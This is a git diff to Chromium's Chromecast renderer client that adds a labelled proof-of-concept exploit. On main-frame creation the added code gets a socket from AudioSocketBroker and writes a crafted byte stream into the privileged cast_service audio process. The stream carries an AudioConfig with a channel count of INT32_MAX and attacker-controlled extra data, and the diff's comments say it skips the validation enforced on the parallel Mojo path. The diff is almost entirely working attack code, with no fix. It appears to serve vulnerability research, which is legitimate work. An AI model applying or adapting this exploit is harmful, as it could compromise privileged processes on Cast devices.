diff --git a/chromecast/renderer/cast_content_renderer_client.cc b/chromecast/renderer/cast_content_renderer_client.cc index 547710aa51e32..fbcad28fb8652 100644 --- a/chromecast/renderer/cast_content_renderer_client.cc +++ b/chromecast/renderer/cast_content_renderer_client.cc @@ -49,6 +49,12 @@ #include "third_party/blink/public/web/web_settings.h" #include "third_party/blink/public/web/web_view.h" +// === POC: AudioSocketBroker validation bypass === +#include +#include "chromecast/common/mojom/audio_socket.mojom.h" +#include "mojo/public/cpp/platform/platform_handle.h" +// === end POC includes === + #if BUILDFLAG(IS_ANDROID) #include "base/android/bundle_utils.h" #include "chromecast/media/audio/cast_audio_device_factory.h" @@ -150,6 +156,61 @@ void CastContentRendererClient::RenderFrameCreated( } activity_url_filter_manager_->OnRenderFrameCreated(render_frame); + + // ====================================================================== + // POC: simulate a compromised renderer delivering an unvalidated + // AudioConfig (channel_number = INT32_MAX, attacker-controlled extra_data) + // to the privileged cast_service process via the raw-socket + // AudioSocketBroker path, bypassing the ::media::AudioDecoderConfig + // StructTraits limits enforced on the parallel Mojo path. + // + // Wire bytes = SmallMessageSocket+AudioSocket framing of an + // audio_output_service::Generic{backend_params{audio_decoder_config{ + // audio_codec=AAC, channel_layout=DISCRETE, sample_format=FLOAT_P, + // num_channels=0x7FFFFFFF, sample_rate=192000, extra_data=<64 bytes>}}} + // followed by a Generic{set_start_timestamp{start_pts=0}}. + // See generate_payload.py in the POC artifacts for derivation. + // ====================================================================== + static const uint8_t kHostileStream[] = { + 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x0a, 0x63, 0x0a, 0x0d, + 0x0a, 0x0b, 0x70, 0x6f, 0x63, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x52, 0x08, 0x01, 0x10, 0x05, 0x18, 0x05, 0x20, 0xff, 0xff, + 0xff, 0xff, 0x07, 0x28, 0x80, 0xdc, 0x0b, 0x32, 0x40, 0x00, 0x01, 0x02, + 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, + 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, + 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, + 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, + 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, + 0x3f, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x12, 0x02, 0x10, 0x00, + }; + + if (render_frame->IsMainFrame()) { + auto* broker = new mojo::Remote(); + render_frame->GetBrowserInterfaceBroker().GetInterface( + broker->BindNewPipeAndPassReceiver()); + (*broker)->GetSocketDescriptor(base::BindOnce( + [](mojo::Remote* broker, + mojo::PlatformHandle handle) { + delete broker; + if (!handle.is_valid_fd()) { + LOG(ERROR) << "[POC] AudioSocketBroker returned invalid FD"; + return; + } + base::ScopedFD fd = handle.TakeFD(); + ssize_t n = HANDLE_EINTR( + write(fd.get(), kHostileStream, sizeof(kHostileStream))); + LOG(ERROR) << "[POC] wrote " << n << "/" << sizeof(kHostileStream) + << " hostile bytes to cast_service AudioOutputService" + " socket; CmaBackendShim::SetAudioConfig will now" + " forward channel_number=INT32_MAX to the vendor" + " MediaPipelineBackend::AudioDecoder."; + // Keep |fd| open briefly so the receiver can read both frames + // before EOF; ScopedFD closes on scope exit which is fine for the + // SOCK_STREAM socketpair (data already in the kernel buffer). + }, + broker)); + } } void CastContentRendererClient::RunScriptsAtDocumentStart(